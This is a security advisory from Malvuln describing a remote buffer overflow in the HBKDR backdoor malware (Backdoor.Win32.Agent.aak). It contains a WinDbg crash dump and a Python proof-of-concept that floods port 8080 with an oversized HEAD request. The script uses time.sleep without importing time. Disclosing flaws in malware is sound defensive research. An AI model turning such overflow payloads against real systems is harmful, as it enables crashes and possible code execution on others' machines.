Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/64f2fd4dbd9039e5bc054f475eaa582a_C.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.aak
Vulnerability: Remote Buffer Overflow
Description: The HTTP backdoor server HBKDR v0.3 listens on TCP port 8080 and accepts HTTP POST requests, by sending a specially crafted HTTP HEAD request payload we can trigger buffer overflow and overwrite registers EAX, ECX  resulting in malware crash and burn. 
Type: PE32
MD5: 64f2fd4dbd9039e5bc054f475eaa582a
Vuln ID: MVID-2021-0096
Dropped files: 
Disclosure: 02/18/2021

Memory Dump:
(d58.77c): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414111 edx=453b611d esi=00000003 edi=00000003
eip=77dced3c esp=041bd4c4 ebp=041bd654 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
77dced3c c21400          ret     14h

0:002> .ecxr
eax=41414111 ebx=0000016c ecx=41414111 edx=453b611d esi=00000001 edi=041bdf1c
eip=0040ab87 esp=041bde04 ebp=041bde40 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
*** WARNING: Unable to verify checksum for Backdoor.Win32.Agent.aak.64f2fd4dbd9039e5bc054f475eaa582a.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Agent.aak.64f2fd4dbd9039e5bc054f475eaa582a.exe
Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0xab87:
0040ab87 8942fc          mov     dword ptr [edx-4],eax ds:002b:453b6119=????????

0:002> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP: 
Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+ab87
0040ab87 8942fc          mov     dword ptr [edx-4],eax

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0040ab87 (Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0x0000ab87)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 453b6119
Attempt to write to address 453b6119

PROCESS_NAME:  Backdoor.Win32.Agent.aak.64f2fd4dbd9039e5bc054f475eaa582a.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  453b6119

WRITE_ADDRESS:  453b6119 

FOLLOWUP_IP: 
Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+ab87
0040ab87 8942fc          mov     dword ptr [edx-4],eax

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  0000077c

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_WRITE_EXPLOITABLE

DEFAULT_BUCKET_ID:  INVALID_POINTER_WRITE_EXPLOITABLE

LAST_CONTROL_TRANSFER:  from 00409b38 to 0040ab87

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
041bde40 00409b38 00000025 00000025 041bde78 Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0xab87
041bde50 00403a42 00000025 041bdf1c 041bdf2c Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0x9b38
041bde78 00403849 00000001 00000001 00000000 Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0x3a42
041bde94 004037d8 00000001 00000000 00000001 Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0x3849
041bdeb0 004019fa 00000001 041bff80 041bdf2c Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0x37d8
041bdf1c 0040113f 041bdf7c 00001996 00401023 Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0x19fa
041bff80 750f8654 0000016c 750f8630 81b7802f Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+0x113f
041bff94 77dc4a77 0000016c 501ec1db 00000000 kernel32!BaseThreadInitThunk+0x24
041bffdc 77dc4a47 ffffffff 77de9ed1 00000000 ntdll!__RtlUserThreadStart+0x2f
041bffec 00000000 00401023 0000016c 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  ~2s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+ab87

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a

IMAGE_NAME:  Backdoor.Win32.Agent.aak.64f2fd4dbd9039e5bc054f475eaa582a.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  446247ed

FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_EXPLOITABLE_c0000005_Backdoor.Win32.Agent.aak.64f2fd4dbd9039e5bc054f475eaa582a.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE_Backdoor_Win32_Agent_aak_64f2fd4dbd9039e5bc054f475eaa582a+ab87


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=8080

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PBARBAR = "HEAD /"+"\x41"*4489+" HTTP/1."+"\x41"*2000+"\r\n\r\nHost: "+MALWARE_HOST+"\r\nConnection: close\r\n\r\n"
    s.send(PBARBAR)
    s.close()

    print("Backdoor.Win32.Agent.aak / Remote Buffer Overflow")
    print("MD5: 64f2fd4dbd9039e5bc054f475eaa582a")
    print("By Malvuln");

c=0
if __name__=="__main__":
    for i in range(0, 10):
        c+=1
        doit()
        time.sleep(0.5)
        print(c)



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